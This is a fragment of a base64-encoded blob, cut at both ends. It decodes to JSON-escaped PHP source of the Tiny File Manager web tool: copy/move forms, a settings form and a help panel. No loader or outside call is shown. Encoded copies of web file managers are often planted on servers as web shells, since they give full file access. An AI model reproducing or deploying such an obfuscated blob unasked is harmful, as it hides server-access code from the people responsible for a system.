WYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4/PlxuICAgIDxkaXYgY2xhc3M9XCJwYXRoXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8aDY+PD9waHAgZWNobyBsbmcoJ0NvcHlpbmcnKSA/PjxcL2g2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmluaXNoXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjb3B5X2ZpbGVzIGFzICRjZikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCInIC4gZm1fZW5jKCRjZikgLiAnXCI+JyAuIFBIUF9FT0w7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRmlsZXMnKSA/PjxcL3N0cm9uZz46IDxiPjw/cGhwIGVjaG8gaW1wbG9kZSgnPFwvYj4sIDxiPicsICRjb3B5X2ZpbGVzKSA/PjxcL2I+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnU291cmNlRm9sZGVyJykgPz48XC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gRk1fUEFUSCkpID8+PGJyPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucF9jb3B5X3RvXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIEZNX1JPT1RfUEFUSCA/PlwvPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNvcHlfdG9cIiBpZD1cImlucF9jb3B5X3RvXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cImN1c3RvbS1jaGVja2JveCBjdXN0b20tY29udHJvbFwiPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwibW92ZVwiIHZhbHVlPVwiMVwiIGlkPVwianMtbW92ZS1maWxlc1wiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1tb3ZlLWZpbGVzXCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1sYWJlbCBtcy0yXCI+PD9waHAgZWNobyBsbmcoJ01vdmUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSkgJiYgIWlzc2V0KCRfR0VUWydmaW5pc2gnXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHkgPSAkX0dFVFsnY29weSddO1xuICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7XG4gICAgaWYgKCRjb3B5ID09ICcnIHx8ICFmaWxlX2V4aXN0cyhGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8cD48Yj5Db3B5aW5nPFwvYj48XC9wPlxuICAgICAgICA8cCBjbGFzcz1cImJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDxzdHJvbmc+U291cmNlIHBhdGg6PFwvc3Ryb25nPiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSA/Pjxicj5cbiAgICAgICAgICAgIDxzdHJvbmc+RGVzdGluYXRpb24gZm9sZGVyOjxcL3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJ1wvJyAuIEZNX1BBVEgpKSA/PlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD5cbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xXCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiBDb3B5PFwvYT48XC9iPiAmbmJzcDtcbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xJmFtcDttb3ZlPTFcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IE1vdmU8XC9hPjxcL2I+ICZuYnNwO1xuICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJ0ZXh0LWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gQ2FuY2VsPFwvYT48XC9iPlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD48aT48P3BocCBlY2hvIGxuZygnU2VsZWN0IGZvbGRlcicpID8+PFwvaT48XC9wPlxuICAgICAgICA8dWwgY2xhc3M9XCJmb2xkZXJzIGJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICBpZiAoJHBhcmVudCAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnRcIj48XC9pPiAuLjxcL2E+PFwvbGk+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1mb2xkZXItb1wiPjxcL2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+PFwvYT5cbiAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICB9XG4gICAgICAgICAgICA/PlxuICAgICAgICA8XC91bD5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydzZXR0aW5ncyddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkbGFuZ19saXN0O1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtY29nXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9zcGFuPlxuICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cInRleHQtZGFuZ2VyXCI+PGkgY2xhc3M9XCJmYSBmYS10aW1lcy1jaXJjbGUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9oNj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkLWJvZHlcIj5cbiAgICAgICAgICAgICAgICA8Zm9ybSBpZD1cImpzLXNldHRpbmdzLWZvcm1cIiBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCIgZGF0YS10eXBlPVwiYWpheFwiIG9uc3VibWl0PVwicmV0dXJuIHNhdmVfc2V0dGluZ3ModGhpcylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwic2V0dGluZ3NcIiBhcmlhLWxhYmVsPVwiaGlkZGVuXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWdyb3VwIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLWxhbmd1YWdlXCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdMYW5ndWFnZScpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPVwiZm9ybS1zZWxlY3RcIiBpZD1cImpzLWxhbmd1YWdlXCIgbmFtZT1cImpzLWxhbmd1YWdlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNlbGVjdGVkKCRsKVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbG9iYWwgJGxhbmc7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRsYW5nID09ICRsKSA/ICdzZWxlY3RlZCcgOiAnJztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbGFuZ19saXN0IGFzICRrID0+ICR2KSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwiPG9wdGlvbiB2YWx1ZT0nJGsnIFwiIC4gZ2V0U2VsZWN0ZWQoJGspIC4gXCI+JHY8XC9vcHRpb24+XCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm10LTMgbWItMyByb3cgXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtZXJyb3ItcmVwb3J0XCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdFcnJvclJlcG9ydGluZycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtZXJyb3ItcmVwb3J0XCIgbmFtZT1cImpzLWVycm9yLXJlcG9ydFwiIHZhbHVlPVwidHJ1ZVwiIDw/cGhwIGVjaG8gJHJlcG9ydF9lcnJvcnMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTMgcm93XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtc2hvdy1oaWRkZW5cIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ1Nob3dIaWRkZW5GaWxlcycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtc2hvdy1oaWRkZW5cIiBuYW1lPVwianMtc2hvdy1oaWRkZW5cIiB2YWx1ZT1cInRydWVcIiA8P3BocCBlY2hvICRzaG93X2hpZGRlbl9maWxlcyA/ICdjaGVja2VkJyA6ICcnOyA/PiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1oaWRlLWNvbHNcIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ0hpZGVDb2x1bW5zJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tOVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImZvcm0tY2hlY2staW5wdXRcIiB0eXBlPVwiY2hlY2tib3hcIiByb2xlPVwic3dpdGNoXCIgaWQ9XCJqcy1oaWRlLWNvbHNcIiBuYW1lPVwianMtaGlkZS1jb2xzXCIgdmFsdWU9XCJ0cnVlXCIgPD9waHAgZWNobyAkaGlkZV9Db2xzID8gJ2NoZWNrZWQnIDogJyc7ID8+IFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLTMtMVwiIGNsYXNzPVwiY29sLXNtLTMgY29sLWZvcm0tbGFiZWxcIj48P3BocCBlY2hvIGxuZygnVGhlbWUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC1zbS01XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz1cImZvcm0tc2VsZWN0IHctMTAwIHRleHQtY2FwaXRhbGl6ZVwiIGlkPVwianMtMy0wXCIgbmFtZT1cImpzLXRoZW1lLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nbGlnaHQnIDw/cGhwIGlmICgkdGhlbWUgPT0gXCJsaWdodFwiKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwic2VsZWN0ZWRcIjtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdsaWdodCcpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nZGFyaycgPD9waHAgaWYgKCR0aGVtZSA9PSBcImRhcmtcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBcInNlbGVjdGVkXCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnZGFyaycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tMTBcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPiA8aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJyk7ID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPVwidGV4dC1ib2R5LXNlY29uZGFyeVwiPiogPD9waHAgZWNobyBsbmcoJ1NvbWV0aW1lcyB0aGUgc2F2ZSBhY3Rpb24gbWF5IG5vdCB3b3JrIG9uIHRoZSBmaXJzdCB0cnksIHNvIHBsZWFzZSBhdHRlbXB0IGl0IGFnYWluJykgPz4uPFwvc21hbGw+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2hlbHAnXSkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nO1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL3NwYW4+XG4gICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PlwiIGNsYXNzPVwidGV4dC1kYW5nZXJcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT5cbiAgICAgICAgICAgIDxcL2g2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aDM+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJhcHAtdi10aXRsZVwiPiBUaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9oMz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8cD5BdXRob3I6IFBSQVx1MDE1YUFUSCBNQU5cdTAxMzA8XC9wPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+TWFpbCBVczogPGEgaHJlZj1cIm1haWx0bzpjY3Bwcm9ncmFtbWVyc0BnbWFpbC5jb21cIj5jY3Bwcm9ncmFtbWVycyBbYXRdIGdtYWlsIFtkb3RdIGNvbTxcL2E+IDxcL3A+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJsaXN0LWdyb3VwIGxpc3QtZ3JvdXAtZmx1c2hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC93aWtpXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1xdWVzdGlvbi1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCBEb2N1bWVudHMnKSA/PiA8XC9hPiA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC9pc3N1ZXNcIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWJ1Z1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdSZXBvcnQgSXNzdWUnKSA/PjxcL2E+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpIHsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3dfbmV3X3B3ZCgpO1wiPjxpIGNsYXNzPVwiZmEgZmEtbG9ja1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PFwvYT48XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3cganMtbmV3LXB3ZCBoaWRkZW4gbXQtMlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNz